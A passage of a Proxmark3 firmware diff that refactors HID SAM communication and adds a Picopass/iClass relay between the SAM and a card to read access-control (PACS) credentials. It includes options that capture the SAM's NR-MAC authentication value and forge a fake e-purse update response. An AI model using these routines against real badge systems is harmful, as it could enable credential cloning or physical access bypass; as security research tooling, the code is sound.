out; + } + + if (*resplen < 2) { + DbpString("received too few bytes from SIM CARD"); + res = false; + goto out; + } + + uint16_t more_len = 0; + + if (resp[*resplen - 2] == 0x61 || resp[*resplen - 2] == 0x9F) { + more_len = resp[*resplen - 1]; + } else { + // we done, return + goto out; + } + + // Don't discard data we already received except the SW code. + // If we only received 1 byte, this is the echo of INS, we discard it. + *resplen -= 2; + if (*resplen == 1) { + *resplen = 0; + } + + uint8_t cmd_getresp[] = {0x00, ISO7816_GET_RESPONSE, 0x00, 0x00, more_len}; + + res = I2C_BufferWrite(cmd_getresp, sizeof(cmd_getresp), I2C_DEVICE_CMD_SEND_T0, I2C_DEVICE_ADDRESS_MAIN); + if (res == false) { + DbpString("failed to send to SIM CARD 2"); + goto out; + } + + more_len = 255 - *resplen; + + res = sc_rx_bytes(resp + *resplen, &more_len, SIM_WAIT_DELAY); + if (res == false) { + DbpString("failed to receive from SIM CARD 2"); + goto out; + } + + *resplen += more_len; + +out: + return res; +} + + +static inline void swap_clock_counters(volatile unsigned int *a, unsigned int *b) { + unsigned int c = *a; + *a = *b; + *b = c; +} + +/** + * @brief Swaps the timer counter values. + * + * AT91SAM7S512 has a single Timer-Counter, that is reused in clocks Ticks + * and CountSspClk. This function stops the current clock and restores previous + * values. It is used to switch between different clock sources. + * It probably makes communication timing off, but at least makes it work. + */ +static void swap_clocks(void) { + static unsigned int tc0, tc1, tc2 = 0; + StopTicks(); + swap_clock_counters(&(AT91C_BASE_TC0->TC_CV), &tc0); + swap_clock_counters(&(AT91C_BASE_TC1->TC_CV), &tc1); + swap_clock_counters(&(AT91C_BASE_TC2->TC_CV), &tc2); +} + +void switch_clock_to_ticks(void) { + swap_clocks(); + StartTicks(); +} + +void switch_clock_to_countsspclk(void) { + swap_clocks(); + StartCountSspClk(); +} + + +/** + * @brief Sends a payload to the SAM + * + * This function prepends the payload with the necessary APDU and application + * headers and sends it to the SAM. + * + * @param addr_src 0x14 for command from NFC, 0x44 for command from application + * @param addr_dest 0x0A for command to SAM + * @param addr_reply same as add_src or 0x00 if no reply is expected + * @param payload Pointer to the data to be sent. + * @param payload_len Length of the data to be sent. + * @param response Pointer to the buffer where the response will be stored. + * @param response_len Pointer to the variable where the length of the response will be stored. + * @param length Length of the data to be sent. + * @return Status code indicating success or failure of the operation. + */ +int sam_send_payload( + const uint8_t addr_src, + const uint8_t addr_dest, + const uint8_t addr_reply, + + const uint8_t *const payload, + const uint16_t *payload_len, + + uint8_t *response, + uint16_t *response_len +) { + int res = PM3_SUCCESS; + + uint8_t *buf = response; + + buf[0] = 0xA0; // CLA + buf[1] = 0xDA; // INS (PUT DATA) + buf[2] = 0x02; // P1 (TLV format?) + buf[3] = 0x63; // P2 + buf[4] = SAM_TX_ASN1_PREFIX_LENGTH + (uint8_t) * payload_len; // LEN + + buf[5] = addr_src; + buf[6] = addr_dest; + buf[7] = addr_reply; + + buf[8] = 0x00; + buf[9] = 0x00; + buf[10] = 0x00; + + memcpy( + &buf[11], + payload, + *payload_len + ); + + uint16_t length = SAM_TX_ASN1_PREFIX_LENGTH + SAM_TX_APDU_PREFIX_LENGTH + (uint8_t) * payload_len; + + LogTrace(buf, length, 0, 0, NULL, true); + if (g_dbglevel >= DBG_INFO) { + DbpString("SAM REQUEST APDU: "); + Dbhexdump(length, buf, false); + } + + if (sam_rxtx(buf, length, response, response_len) == false) { + if (g_dbglevel >= DBG_ERROR) + DbpString("SAM ERROR"); + res = PM3_ECARDEXCHANGE; + goto out; + } + + LogTrace(response, *response_len, 0, 0, NULL, false); + if (g_dbglevel >= DBG_INFO) { + DbpString("SAM RESPONSE APDU: "); + Dbhexdump(*response_len, response, false); + } + +out: + return res; +} + + +/** + * @brief Retreives SAM firmware version. + * + * Used just as ping or sanity check here. + * + * @return Status code indicating success or failure of the operation. + */ +int sam_get_version(bool info) { + int res = PM3_SUCCESS; + + if (g_dbglevel >= DBG_DEBUG) { + DbpString("start sam_get_version"); + } + + uint8_t *response = BigBuf_calloc(ISO7816_MAX_FRAME); + uint16_t response_len = ISO7816_MAX_FRAME; + + uint8_t payload[] = { + 0xa0, // <- SAM command + 0x02, // <- Length + 0x82, 0x00 // <- get version + }; + uint16_t payload_len = sizeof(payload); + + sam_send_payload( + 0x44, 0x0a, 0x44, + payload, + &payload_len, + response, + &response_len + ); + + // resp: + // c1 64 00 00 00 + // bd 11 <- SAM response + // 8a 0f <- get version response + // 80 02 + // 01 29 <- version + // 81 06 + // 68 3d 05 20 26 b6 <- build ID + // 82 01 + // 01 + // 90 00 + if (g_dbglevel >= DBG_DEBUG) { + DbpString("end sam_get_version"); + } + + if (response[5] != 0xbd) { + Dbprintf("Invalid SAM response"); + goto error; + } else { + uint8_t *sam_response_an = sam_find_asn1_node(response + 5, 0x8a); + if (sam_response_an == NULL) { + if (g_dbglevel >= DBG_ERROR) DbpString("SAM get response failed"); + goto error; + } + uint8_t *sam_version_an = sam_find_asn1_node(sam_response_an, 0x80); + if (sam_version_an == NULL) { + if (g_dbglevel >= DBG_ERROR) DbpString(_RED_("SAM: get version failed")); + goto error; + } + uint8_t *sam_build_an = sam_find_asn1_node(sam_response_an, 0x81); + if (sam_build_an == NULL) { + if (g_dbglevel >= DBG_ERROR) DbpString(_RED_("SAM: get firmware ID failed")); + goto error; + } + if (g_dbglevel >= DBG_INFO || info) { + DbpString(_BLUE_("-- SAM Information --")); + Dbprintf(_YELLOW_("Firmware version: ")"%d.%d", sam_version_an[2], sam_version_an[3]); + Dbprintf(_YELLOW_("Firmware ID: ")); + Dbhexdump(sam_build_an[1], sam_build_an + 2, false); + } + goto out; + } + +error: + res = PM3_ESOFT; + +out: + BigBuf_free(); + + if (g_dbglevel >= DBG_DEBUG) { + DbpString("end sam_get_version"); + } + + return res; +} + +int sam_get_serial_number(void) { + int res = PM3_SUCCESS; + + if (g_dbglevel >= DBG_DEBUG) { + DbpString("start sam_get_serial_number"); + } + + uint8_t *response = BigBuf_calloc(ISO7816_MAX_FRAME); + uint16_t response_len = ISO7816_MAX_FRAME; + + uint8_t payload[] = { + 0xa0, // <- SAM command + 0x02, // <- Length + 0x96, 0x00 // <- get serial number + }; + uint16_t payload_len = sizeof(payload); + + sam_send_payload( + 0x44, 0x0a, 0x44, + payload, + &payload_len, + response, + &response_len + ); + + //resp: + //c1 64 00 00 00 + // bd 0e <- SAM response + // 8a 0c <- get serial number response + // 61 01 13 51 22 66 6e 15 3e 1b ff ff + //90 00 + + if (g_dbglevel >= DBG_DEBUG) { + DbpString("end sam_get_serial_number"); + } + + if (response[5] != 0xbd) { + Dbprintf("Invalid SAM response"); + goto error; + } else { + uint8_t *sam_response_an = sam_find_asn1_node(response + 5, 0x8a); + if (sam_response_an == NULL) { + if (g_dbglevel >= DBG_ERROR) DbpString(_RED_("SAM: get response failed")); + goto error; + } + uint8_t *sam_serial_an = sam_response_an + 2; + if (sam_serial_an == NULL) { + if (g_dbglevel >= DBG_ERROR) DbpString(_RED_("SAM get serial number failed")); + goto error; + } + + Dbprintf(_YELLOW_("Serial Number: ")); + Dbhexdump(sam_response_an[1], sam_serial_an, false); + + goto out; + } + +error: + res = PM3_ESOFT; + +out: + BigBuf_free(); + + if (g_dbglevel >= DBG_DEBUG) { + DbpString("end sam_get_serial_number"); + } + + return res; +} + + + +/** + * @brief Finds an ASN.1 node of a specified type within a given root node. + * + * This function searches through a single level of the ASN.1 structure starting + * from the root node to find a node of the specified type. + * + * @param root Pointer to the root node of the ASN.1 structure. + * @param type The type of the ASN.1 node to find. + * @return Pointer to the ASN.1 node of the specified type if found, otherwise NULL. + */ +uint8_t *sam_find_asn1_node(const uint8_t *root, const uint8_t type) { + const uint8_t *end = (uint8_t *) root + *(root + 1); + uint8_t *current = (uint8_t *) root + 2; + while (current < end) { + if (*current == type) { + return current; + } else { + current += 2 + *(current + 1); + } + } + return NULL; +} + +/** + * @brief Appends an ASN.1 node to the end of a given node. + * + * This function appends an ASN.1 node of a specified type and length to the end of + * the ASN.1 structure at specified node level. + * + * It is the most naive solution that does not handle the case where the node to append is + * not the last node at the same level. It also does not also care about proper + * order of the nodes. + * + * @param root Pointer to the root node of the ASN.1 structure. + * @param root Pointer to the node to be appended of the ASN.1 structure. + * @param type The type of the ASN.1 node to append. + * @param data Pointer to the data to be appended. + * @param len The length of the data to be appended. + */ +void sam_append_asn1_node(const uint8_t *root, const uint8_t *node, uint8_t type, const uint8_t *const data, uint8_t len) { + uint8_t *end = (uint8_t *) root + *(root + 1) + 2; + + *(end) = type; + *(end + 1) = len; + memcpy(end + 2, data, len); + + for (uint8_t *current = (uint8_t *) root; current <= node; current += 2) { + *(current + 1) += 2 + len; + }; + return; +} + +void sam_send_ack(void) { + uint8_t *response = BigBuf_calloc(ISO7816_MAX_FRAME); + uint16_t response_len = ISO7816_MAX_FRAME; + + uint8_t payload[] = { 0xa0, 0 }; + uint16_t payload_len = sizeof(payload); + + sam_send_payload( + 0x44, 0x0a, 0x00, + payload, + &payload_len, + response, + &response_len + ); + + BigBuf_free(); +} + +/** + * @brief Copies the payload from an NFC buffer to a SAM buffer. + * + * Wraps received data from NFC into an ASN1 tree, so it can be transmitted to the SAM . + * + * @param sam_tx Pointer to the SAM transmit buffer. + * @param nfc_rx Pointer to the NFC receive buffer. + * @param nfc_len Length of the data to be copied from the NFC buffer. + * + * @return Length of SAM APDU to be sent. + */ +uint16_t sam_copy_payload_nfc2sam(uint8_t *sam_tx, uint8_t *nfc_rx, uint8_t nfc_len) { + // NFC resp: + // 6f 0c 84 0a a0 00 00 04 40 00 01 01 00 01 90 00 fb e3 + + // SAM req: + // bd 1c + // a0 1a + // a0 18 + // 80 12 + // 6f 0c 84 0a a0 00 00 04 40 00 01 01 00 01 90 00 fb e3 + // 81 02 + // 00 00 + + const uint8_t payload[] = { + 0xbd, 4, + 0xa0, 2, + 0xa0, 0 + }; + + const uint8_t tag81[] = { + 0x00, 0x00 + }; + + memcpy(sam_tx, payload, sizeof(payload)); + + sam_append_asn1_node(sam_tx, sam_tx + 4, 0x80, nfc_rx, nfc_len); + sam_append_asn1_node(sam_tx, sam_tx + 4, 0x81, tag81, sizeof(tag81)); + + return sam_tx[1] + 2; // length of the ASN1 tree +} + +/** + * @brief Copies the payload from the SAM receive buffer to the NFC transmit buffer. + * + * Unpacks data to be transmitted from ASN1 tree in APDU received from SAM. + * + * @param nfc_tx_buf Pointer to the buffer where the NFC transmit data will be stored. + * @param sam_rx_buf Pointer to the buffer containing the data received from the SAM. + * @return Length of NFC APDU to be sent. + */ +uint16_t sam_copy_payload_sam2nfc(uint8_t *nfc_tx_buf, uint8_t *sam_rx_buf) { + // SAM resp: + // c1 61 c1 00 00 + // a1 10 <- nfc command + // a1 0e <- nfc send + // 80 10 <- data + // 00 a4 04 00 0a a0 00 00 04 40 00 01 01 00 01 00 + // 81 02 <- protocol + // 00 04 + // 82 02 <- timeout + // 01 F4 + // 90 00 + + // NFC req: + // 0C 05 DE 64 + + // copy data out of c1->a1>->a1->80 node + uint16_t nfc_tx_len = (uint8_t) * (sam_rx_buf + 10); + memcpy(nfc_tx_buf, sam_rx_buf + 11, nfc_tx_len); + return nfc_tx_len; +} diff --git a/armsrc/sam_common.h b/armsrc/sam_common.h new file mode 100644 index 000000000..4cc6e364f --- /dev/null +++ b/armsrc/sam_common.h @@ -0,0 +1,53 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +#ifndef __SAM_COMMON_H +#define __SAM_COMMON_H + +#include "common.h" + +static const uint8_t SAM_TX_APDU_PREFIX_LENGTH = 5; +static const uint8_t SAM_TX_ASN1_PREFIX_LENGTH = 6; +static const uint8_t SAM_RX_ASN1_PREFIX_LENGTH = 5; + +int sam_rxtx(const uint8_t *data, uint16_t n, uint8_t *resp, uint16_t *resplen); + +void switch_clock_to_ticks(void); +void switch_clock_to_countsspclk(void); + +int sam_send_payload( + const uint8_t addr_src, + const uint8_t addr_dest, + const uint8_t addr_reply, + + const uint8_t *const payload, + const uint16_t *payload_len, + + uint8_t *response, + uint16_t *response_len +); + +int sam_get_version(bool info); +int sam_get_serial_number(void); + +uint8_t *sam_find_asn1_node(const uint8_t *root, const uint8_t type); +void sam_append_asn1_node(const uint8_t *root, const uint8_t *node, uint8_t type, const uint8_t *const data, uint8_t len); + +void sam_send_ack(void); + +uint16_t sam_copy_payload_nfc2sam(uint8_t *sam_tx, uint8_t *nfc_rx, uint8_t nfc_len); +uint16_t sam_copy_payload_sam2nfc(uint8_t *nfc_tx_buf, uint8_t *sam_rx_buf); + +#endif diff --git a/armsrc/sam_mfc.c b/armsrc/sam_mfc.c index 090f4a781..5e2309437 100644 --- a/armsrc/sam_mfc.c +++ b/armsrc/sam_mfc.c @@ -16,7 +16,7 @@ // Routines to support MFC <-> SAM communication //----------------------------------------------------------------------------- #include "sam_mfc.h" -#include "sam_seos.h" +#include "sam_common.h" #include "iclass.h" #include "proxmark3_arm.h" diff --git a/armsrc/sam_mfc.h b/armsrc/sam_mfc.h index 5cf55d711..527bc77ff 100644 --- a/armsrc/sam_mfc.h +++ b/armsrc/sam_mfc.h @@ -17,5 +17,6 @@ #define __SAM_MFC_H #include "common.h" +#include "sam_common.h" #endif diff --git a/armsrc/sam_picopass.c b/armsrc/sam_picopass.c index fd465c992..84ddf549b 100644 --- a/armsrc/sam_picopass.c +++ b/armsrc/sam_picopass.c @@ -16,6 +16,7 @@ // Routines to support Picopass <-> SAM communication //----------------------------------------------------------------------------- #include "sam_picopass.h" +#include "sam_common.h" #include "iclass.h" #include "crc16.h" #include "proxmark3_arm.h" @@ -29,419 +30,393 @@ #include "protocols.h" #include "optimized_cipher.h" #include "fpgaloader.h" +#include "pm3_cmd.h" -static int sam_rxtx(const uint8_t *data, uint16_t n, uint8_t *resp, uint16_t *resplen) { +/** + * @brief Sends a request to the SAM and retrieves the response. + * + * Unpacks request to the SAM and relays ISO15 traffic to the card. + * If no request data provided, sends a request to get PACS data. + * + * @param request Pointer to the buffer containing the request to be sent to the SAM. + * @param request_len Length of the request to be sent to the SAM. + * @param response Pointer to the buffer where the retreived data will be stored. + * @param response_len Pointer to the variable where the length of the retreived data will be stored. + * @return Status code indicating success or failure of the operation. + */ +static int sam_send_request_iso15(const uint8_t *const request, const uint8_t request_len, uint8_t *response, uint8_t *response_len, const bool shallow_mod, const bool break_on_nr_mac, const bool prevent_epurse_update) { + int res = PM3_SUCCESS; + if (g_dbglevel >= DBG_DEBUG) { + DbpString("start sam_send_request_iso14a"); + } - StartTicks(); - - bool res = I2C_BufferWrite(data, n, I2C_DEVICE_CMD_SEND_T0, I2C_DEVICE_ADDRESS_MAIN); - if (res == false) { - DbpString("failed to send to SIM CARD"); + uint8_t *buf1 = BigBuf_calloc(ISO7816_MAX_FRAME); + uint8_t *buf2 = BigBuf_calloc(ISO7816_MAX_FRAME); + if (buf1 == NULL || buf2 == NULL) { + res = PM3_EMALLOC; goto out; } - *resplen = ISO7816_MAX_FRAME; + uint8_t *sam_tx_buf = buf1; + uint16_t sam_tx_len; - res = sc_rx_bytes(resp, resplen, SIM_WAIT_DELAY); - if (res == false) { - DbpString("failed to receive from SIM CARD"); - goto out; - } + uint8_t *sam_rx_buf = buf2; + uint16_t sam_rx_len; - if (*resplen < 2) { - DbpString("received too few bytes from SIM CARD"); - res = false; - goto out; - } + uint8_t *nfc_tx_buf = buf1; + uint16_t nfc_tx_len; - uint16_t more_len = 0; + uint8_t *nfc_rx_buf = buf2; + uint16_t nfc_rx_len; - if (resp[*resplen - 2] == 0x61 || resp[*resplen - 2] == 0x9F) { - more_len = resp[*resplen - 1]; + if (request_len > 0) { + sam_tx_len = request_len; + memcpy(sam_tx_buf, request, sam_tx_len); } else { - // we done, return - goto out; + // send get pacs + static const uint8_t payload[] = { + 0xa0, 19, // <- SAM command + 0xBE, 17, // <- samCommandGetContentElement2 + 0x80, 1, + 0x04, // <- implicitFormatPhysicalAccessBits + 0x84, 12, + 0x2B, 0x06, 0x01, 0x04, 0x01, 0x81, 0xE4, 0x38, 0x01, 0x01, 0x02, 0x04 // <- SoRootOID + }; + + sam_tx_len = sizeof(payload); + memcpy(sam_tx_buf, payload, sam_tx_len); } - // Don't discard data we already received except the SW code. - // If we only received 1 byte, this is the echo of INS, we discard it. - *resplen -= 2; - if (*resplen == 1) { - *resplen = 0; + sam_send_payload( + 0x44, 0x0a, 0x44, + sam_tx_buf, &sam_tx_len, + sam_rx_buf, &sam_rx_len + ); + + if (sam_rx_buf[1] == 0x61) { // commands to be relayed to card starts with 0x61 + switch_clock_to_countsspclk(); + // tag <-> SAM exchange starts here + + while (sam_rx_buf[1] == 0x61) { + uint32_t start_time = GetCountSspClk(); + uint32_t eof_time = start_time + DELAY_ICLASS_VICC_TO_VCD_READER; + + nfc_tx_len = sam_copy_payload_sam2nfc(nfc_tx_buf, sam_rx_buf); + + bool is_cmd_check = ((nfc_tx_buf[0] & 0x0F) == ICLASS_CMD_CHECK); + + if (is_cmd_check && break_on_nr_mac) { + + memcpy(response, nfc_tx_buf, nfc_tx_len); + *response_len = nfc_tx_len; + + if (g_dbglevel >= DBG_INFO) { + DbpString("NR-MAC: "); + Dbhexdump((*response_len) - 1, response + 1, false); + } + res = PM3_SUCCESS; + goto out; + } + + bool is_cmd_update = ((nfc_tx_buf[0] & 0x0F) == ICLASS_CMD_UPDATE); + + if (is_cmd_update && prevent_epurse_update && nfc_tx_buf[0] == 0x87 && nfc_tx_buf[1] == 0x02) { + // block update(2) command and fake the response to prevent update of epurse + + // NFC TX BUFFERS PREPARED BY SAM LOOKS LIKE: + // 87 02 #1(C9 FD FF FF) #2(FF FF FF FF) F4 BF 98 E2 + + // NFC RX BUFFERS EXPECTED BY SAM WOULD LOOK LIKE: + // #2(FF FF FF FF) #1(C9 FD FF FF) 3A 47 + + memcpy(nfc_rx_buf + 0, nfc_tx_buf + 6, 4); + memcpy(nfc_rx_buf + 4, nfc_tx_buf + 0, 4); + AddCrc(nfc_rx_buf, 8); + nfc_rx_len = 10; + + if (g_dbglevel >= DBG_INFO) { + DbpString("FAKE EPURSE UPDATE RESPONSE: "); + Dbhexdump(nfc_rx_len, nfc_rx_buf, false); + } + + } else { + if (g_dbglevel >= DBG_INFO) { + DbpString("ISO15 TAG REQUEST: "); + Dbhexdump(nfc_tx_len, nfc_tx_buf, false); + } + + int tries = 3; + nfc_rx_len = 0; + while (tries-- > 0) { + iclass_send_as_reader(nfc_tx_buf, nfc_tx_len, &start_time, &eof_time, shallow_mod); + uint16_t timeout = is_cmd_update ? ICLASS_READER_TIMEOUT_UPDATE : ICLASS_READER_TIMEOUT_ACTALL; + + res = GetIso15693AnswerFromTag(nfc_rx_buf, ISO7816_MAX_FRAME, timeout, &eof_time, false, true, &nfc_rx_len); + if (res == PM3_SUCCESS && nfc_rx_len > 0) { + break; + } + + start_time = eof_time + ((DELAY_ICLASS_VICC_TO_VCD_READER + DELAY_ISO15693_VCD_TO_VICC_READER + (8 * 8 * 8 * 16)) * 2); + } + + + if (res != PM3_SUCCESS) { + res = PM3_ECARDEXCHANGE; + goto out; + } + + if (g_dbglevel >= DBG_INFO) { + DbpString("ISO15 TAG RESPONSE: "); + Dbhexdump(nfc_rx_len, nfc_rx_buf, false); + } + } + + + switch_clock_to_ticks(); + sam_tx_len = sam_copy_payload_nfc2sam(sam_tx_buf, nfc_rx_buf, nfc_rx_len); + + sam_send_payload( + 0x14, 0x0a, 0x14, + sam_tx_buf, &sam_tx_len, + sam_rx_buf, &sam_rx_len + ); + + // last SAM->TAG + // c1 61 c1 00 00 a1 02 >>82<< 00 90 00 + if (sam_rx_buf[7] == 0x82) { + // tag <-> SAM exchange ends here + break; + } + + switch_clock_to_countsspclk(); + + } + + static const uint8_t hfack[] = { + 0xbd, 0x04, 0xa0, 0x02, 0x82, 0x00 + }; + + sam_tx_len = sizeof(hfack); + memcpy(sam_tx_buf, hfack, sam_tx_len); + + sam_send_payload( + 0x14, 0x0a, 0x00, + sam_tx_buf, &sam_tx_len, + sam_rx_buf, &sam_rx_len + ); } - uint8_t cmd_getresp[] = {0x00, ISO7816_GET_RESPONSE, 0x00, 0x00, more_len}; + // resp for SamCommandGetContentElement: + // c1 64 00 00 00 + // bd 09 + // 8a 07 + // 03 05 <- include tag for pm3 client + // 06 85 80 6d c0 <- decoded PACS data + // 90 00 - res = I2C_BufferWrite(cmd_getresp, sizeof(cmd_getresp), I2C_DEVICE_CMD_SEND_T0, I2C_DEVICE_ADDRESS_MAIN); - if (res == false) { - DbpString("failed to send to SIM CARD 2"); - goto out; + // resp for samCommandGetContentElement2: + // c1 64 00 00 00 + // bd 1e + // b3 1c + // a0 1a + // 80 05 + // 06 85 80 6d c0 + // 81 0e + // 2b 06 01 04 01 81 e4 38 01 01 02 04 3c ff + // 82 01 + // 07 + // 90 00 + if (request_len == 0) { + + if (!(sam_rx_buf[5] == 0xbd && sam_rx_buf[5 + 2] == 0x8a && sam_rx_buf[5 + 4] == 0x03) && + !(sam_rx_buf[5] == 0xbd && sam_rx_buf[5 + 2] == 0xb3 && sam_rx_buf[5 + 4] == 0xa0)) { + + if (g_dbglevel >= DBG_ERROR) { + Dbprintf("No PACS data in SAM response"); + } + res = PM3_ESOFT; + } } - more_len = 255 - *resplen; - - res = sc_rx_bytes(resp + *resplen, &more_len, SIM_WAIT_DELAY); - if (res == false) { - DbpString("failed to receive from SIM CARD 2"); - goto out; + if (sam_rx_buf[6] == 0x81 && sam_rx_buf[8] == 0x8a && sam_rx_buf[9] == 0x81) { //check if the response is an SNMP message + *response_len = sam_rx_buf[5 + 2] + 3; + } else { //if not, use the old logic + *response_len = sam_rx_buf[5 + 1] + 2; } - *resplen += more_len; + if (sam_rx_buf[5] == 0xBD && sam_rx_buf[4] != 0x00) { //secure channel flag is not 0x00 + Dbprintf(_YELLOW_("Secure channel flag set to: ")"%02x", sam_rx_buf[4]); + } + + memcpy(response, sam_rx_buf + 5, *response_len); + + goto out; out: - StopTicks(); - return res; -} - -// using HID SAM to authenticate w PICOPASS -int sam_picopass_get_pacs(void) { - - static uint8_t act_all[] = { ICLASS_CMD_ACTALL }; - static uint8_t identify[] = { ICLASS_CMD_READ_OR_IDENTIFY, 0x00, 0x73, 0x33 }; - static uint8_t read_conf[] = { ICLASS_CMD_READ_OR_IDENTIFY, 0x01, 0xfa, 0x22 }; - uint8_t select[] = { 0x80 | ICLASS_CMD_SELECT, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - uint8_t read_aia[] = { ICLASS_CMD_READ_OR_IDENTIFY, 0x05, 0xde, 0x64}; - uint8_t read_check_cc[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; - - picopass_hdr_t hdr = {0}; - // Bit 4: K.If this bit equals to one, the READCHECK will use the Credit Key (Kc); if equals to zero, Debit Key (Kd) will be used - // bit 7: parity. - // if (use_credit_key) - // read_check_cc[0] = 0x10 | ICLASS_CMD_READCHECK; - - BigBuf_free_keep_EM(); - - clear_trace(); - - I2C_Reset_EnterMainProgram(); - StopTicks(); - - uint8_t *resp = BigBuf_calloc(ISO7816_MAX_FRAME); - - bool shallow_mod = false; - uint16_t resp_len = 0; - int res; - uint32_t eof_time = 0; - - // wakeup - Iso15693InitReader(); - - uint32_t start_time = GetCountSspClk(); - iclass_send_as_reader(act_all, 1, &start_time, &eof_time, shallow_mod); - - res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_ACTALL, &eof_time, false, true, &resp_len); - if (res != PM3_SUCCESS) { - res = PM3_ECARDEXCHANGE; - goto out; - } - - // send Identify - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - iclass_send_as_reader(identify, 1, &start_time, &eof_time, shallow_mod); - - // expect a 10-byte response here, 8 byte anticollision-CSN and 2 byte CRC - res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); - if (res != PM3_SUCCESS || resp_len != 10) { - res = PM3_ECARDEXCHANGE; - goto out; - } - - // copy the Anti-collision CSN to our select-packet - memcpy(&select[1], resp, 8); - - // select the card - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - iclass_send_as_reader(select, sizeof(select), &start_time, &eof_time, shallow_mod); - - // expect a 10-byte response here, 8 byte CSN and 2 byte CRC - res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); - if (res != PM3_SUCCESS || resp_len != 10) { - res = PM3_ECARDEXCHANGE; - goto out; - } - - // store CSN - memcpy(hdr.csn, resp, sizeof(hdr.csn)); - - // card selected, now read config (block1) (only 8 bytes no CRC) - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - iclass_send_as_reader(read_conf, sizeof(read_conf), &start_time, &eof_time, shallow_mod); - - // expect a 8-byte response here - res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); - if (res != PM3_SUCCESS || resp_len != 10) { - res = PM3_ECARDEXCHANGE; - goto out; - } - - // store CONFIG - memcpy((uint8_t *)&hdr.conf, resp, sizeof(hdr.conf)); - - uint8_t pagemap = get_pagemap(&hdr); - if (pagemap == PICOPASS_NON_SECURE_PAGEMODE) { - res = PM3_EWRONGANSWER; - goto out; - } - - // read App Issuer Area block 5 - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - iclass_send_as_reader(read_aia, sizeof(read_aia), &start_time, &eof_time, shallow_mod); - - // expect a 10-byte response here - res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); - if (res != PM3_SUCCESS || resp_len != 10) { - res = PM3_ECARDEXCHANGE; - goto out; - } - - // store AIA - memcpy(hdr.app_issuer_area, resp, sizeof(hdr.app_issuer_area)); - - // card selected, now read e-purse (cc) (block2) (only 8 bytes no CRC) - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); - - // expect a 8-byte response here - res = GetIso15693AnswerFromTag(resp, ISO7816_MAX_FRAME, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len); - if (res != PM3_SUCCESS || resp_len != 8) { - res = PM3_ECARDEXCHANGE; - goto out; - } - - // store EPURSE - memcpy(hdr.epurse, resp, sizeof(hdr.epurse)); - - // ----------------------------------------------------------------------------- - // SAM comms - // ----------------------------------------------------------------------------- - size_t sam_len = 0; - uint8_t *sam_apdu = BigBuf_calloc(ISO7816_MAX_FRAME); - - // ----------------------------------------------------------------------------- - // first - // a0 da 02 63 1a 44 0a 44 00 00 00 a0 12 ad 10 a0 0e 80 02 00 04 81 08 9b fc a4 00 fb ff 12 e0 - hexstr_to_byte_array("a0da02631a440a44000000a012ad10a00e800200048108", sam_apdu, &sam_len); - memcpy(sam_apdu + sam_len, hdr.csn, sizeof(hdr.csn)); - sam_len += sizeof(hdr.csn); - - if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) { - res = PM3_ECARDEXCHANGE; - goto out; - } - print_dbg("-- 1", resp, resp_len); - - // ----------------------------------------------------------------------------- - // second - // a0 da 02 63 0d 44 0a 44 00 00 00 a0 05 a1 03 80 01 04 - hexstr_to_byte_array("a0da02630d440a44000000a005a103800104", sam_apdu, &sam_len); - if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) { - res = PM3_ECARDEXCHANGE; - goto out; - } - print_dbg("-- 2", resp, resp_len); - - // TAG response - // -- 0c 05 de64 // read block 5 - // Tag|c00a140a000000a110a10e8004 0c05de64 8102 0004 820201f4 - - // ----------------------------------------------------------------------------- - // third AIA block 5 - // a0da02631c140a00000000bd14a012a010800a ffffff0006fffffff88e 81020000 - // picopass legacy is fixed. wants AIA and crc. ff ff ff ff ff ff ff ff ea f5 - // picpoasss SE ff ff ff 00 06 ff ff ff f8 8e - hexstr_to_byte_array("a0da02631c140a00000000bd14a012a010800affffff0006fffffff88e81020000", sam_apdu, &sam_len); - memcpy(sam_apdu + 19, hdr.app_issuer_area, sizeof(hdr.app_issuer_area)); - AddCrc(sam_apdu + 19, 8); - - if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) { - res = PM3_ECARDEXCHANGE; - goto out; - } - print_dbg("-- 3", resp, resp_len); - - // 88 02 -- readcheck (block2 epurse, start of auth) - // Tag|c00a140a000000a10ea10c8002 8802 8102 0004 820201f4 9000 - // 61 16 f5 0a140a000000a10ea10c 8002 8802 8102 0004 820201f4 9000 - - // ----------------------------------------------------------------------------- - // forth EPURSE - // a0da02631a140a00000000bd12a010a00e8008 ffffffffedffffff 81020000 - hexstr_to_byte_array("a0da02631a140a00000000bd12a010a00e8008ffffffffedffffff81020000", sam_apdu, &sam_len); - memcpy(sam_apdu + 19, hdr.epurse, sizeof(hdr.epurse)); - - if (sam_rxtx(sam_apdu, sam_len, resp, &resp_len) == false) { - res = PM3_ECARDEXCHANGE; - goto out; - } - print_dbg("-- 4", resp, resp_len); - - uint8_t nr_mac[9] = {0}; - 